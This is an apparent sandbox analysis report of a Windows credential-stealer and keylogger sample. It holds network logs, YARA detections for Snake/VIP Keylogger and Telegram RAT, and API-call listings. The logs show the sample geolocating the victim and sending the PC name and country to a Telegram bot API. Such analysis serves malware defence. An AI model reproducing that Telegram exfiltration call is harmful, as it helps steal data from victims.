2024-11-10 20:44:01 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:02 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-10 20:44:03 UTC	854	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:03 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51648 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kWc8ap8zvVBdmkb7k4S7zIVt8FJadT0GkbxeYk13d6igXcwrN%2FidGDjHgFKmSy%2FPkV8JjGuE9PhIWV39PV6QxBocUi6Kcuje20XjJrjs6oER%2Fx%2F9Qm4bNiQfPq9twP8yWQ1z7%2BXy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0d72cab2883-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2285&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1800995&cwnd=250&unsent_bytes=0&cid=02be879e580afa70&ts=159&x=0"
2024-11-10 20:44:03 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:04 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-10 20:44:04 UTC	854	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:04 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51649 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tNPlxk5ewWCA%2FVBUM1I5pmdKJE89LKuIEUDRbXhsQiqvbJMkPg8YUCPbUZC3%2BubFCN3mJ5nLuObrs3nAryFEerFFggT8YiTnTii28fsGCUzifwNp6T92%2Fqf3fZO9d0yXAveQJ%2F%2Ft"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0e14ba56ba1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1216&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1427304&cwnd=251&unsent_bytes=0&cid=708538c7a02aabd0&ts=153&x=0"
2024-11-10 20:44:04 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:06 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-10 20:44:06 UTC	850	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:06 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51651 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fvaPyUoKObkS0SJVtyGDusmJzMPHEcQp647mGt8EupyibGzoq1E7TszhofzYBvECqhQXkvo1y77cr7EHkEgrnYQ%2BTlSXo1MmLqnKT%2BoEN3XzCoLYyx%2BgebSyHWTVkhUyExFO9Trn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0eb8b7d2ff0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1843411&cwnd=239&unsent_bytes=0&cid=8f082b561e8b5f22&ts=151&x=0"
2024-11-10 20:44:06 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:07 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-10 20:44:07 UTC	856	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:07 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51652 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2Bfs7Ltpy3ufC%2FZhGTnzBn%2B0OhIT%2FCDc%2BYwBLgJ3OrDcmiooRDxOJ%2FLrwaXXRGdLbJOtsZJG8gJEJZXTQm2aGsZcGKYorrkUwxdekG6iRrFibEBriLGG9TI2w9LRpqS8iy4cXuth"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0f58d11e5bd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1249&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2291139&cwnd=237&unsent_bytes=0&cid=0d00a98c6ceb187a&ts=158&x=0"
2024-11-10 20:44:07 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:09 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-10 20:44:09 UTC	850	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:09 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51654 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oD4pBnwYiiJMUXnKgHyzq2zV1XRemPZPOEm%2BOHO0kp9AgkriMnDQPEytcRcwCjFuWe7EOL3aP4FB3jb8xYYHBsfhGyI0YJy8t4JJXT2naygoPp0M%2BXZMFdQQzEjCvdFmNuPm%2Fngy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0ffc96a4780-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1212&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2350649&cwnd=250&unsent_bytes=0&cid=5cf184c6e9868291&ts=163&x=0"
2024-11-10 20:44:09 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:11 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-10 20:44:11 UTC	846	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:11 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51656 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9q%2BjrFv5QK53ElnXq3RdMz8QhfWh0CGctrnVEfzWEUGjeXDIsehX80FPXNEjCnEe2FAMidsxm6IPPVIxifsasgVTwT9B1OCl7ttkSfm8nIzNGN0mg77gCYiFGSNVTy9z0zBbvtPV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e10c5fe57d5d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2393388&cwnd=252&unsent_bytes=0&cid=101e29bbd91959e2&ts=196&x=0"
2024-11-10 20:44:11 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	149.154.167.220	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:12 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:364339%0D%0ADate%20and%20Time:%2011/11/2024%20/%2005:56:38%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20364339%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-10 20:44:12 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 10 Nov 2024 20:44:12 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-10 20:44:12 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Analysis Process: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exePID: 7288, Parent PID: 2580

General

Target ID:	0
Start time:	15:43:53
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe"
Imagebase:	0x400000
File size:	207'360 bytes
MD5 hash:	C0DC27117E14576D09EEB3F5285890FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exePID: 7288, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	53%
Signature Coverage:	24.6%
Total number of Nodes:	411
Total number of Limit Nodes:	36

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

W, xrefs: 00401B14
", xrefs: 00401B0F
___, xrefs: 0040227D
x, xrefs: 00401B78
h, xrefs: 00401A6F
), xrefs: 0040202E
4, xrefs: 00401B64
U, xrefs: 004020F5
W, xrefs: 00401B23
v, xrefs: 00401B5A
E, xrefs: 00401E0F
:, xrefs: 00401B28
{, xrefs: 0040205B
!, xrefs: 004020CF
8, xrefs: 00401BA9
v, xrefs: 00401E4B
%, xrefs: 004020FA
W, xrefs: 00402033
{, xrefs: 0040211D
4, xrefs: 00402074
4, xrefs: 00402136
x, xrefs: 00402088
!, xrefs: 00401B1E
o, xrefs: 00401B8D
V, xrefs: 00401E19
v, xrefs: 0040206A
_._, xrefs: 00402257
v, xrefs: 0040212C
{, xrefs: 00401E3C
D, xrefs: 00401DFB
*, xrefs: 004020E1
*, xrefs: 00401A1F
o, xrefs: 00402159
W, xrefs: 004020E6
6, xrefs: 004020C5
x, xrefs: 0040214A
', xrefs: 00402006
[, xrefs: 00401B37
., xrefs: 0040201F
[, xrefs: 00402047
!, xrefs: 0040201A
', xrefs: 00401AF6
x, xrefs: 00401E69
., xrefs: 00401B0A
o, xrefs: 00402097
V, xrefs: 00402038
{, xrefs: 00401B4B
0, xrefs: 00401BBD
5, xrefs: 00402109

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
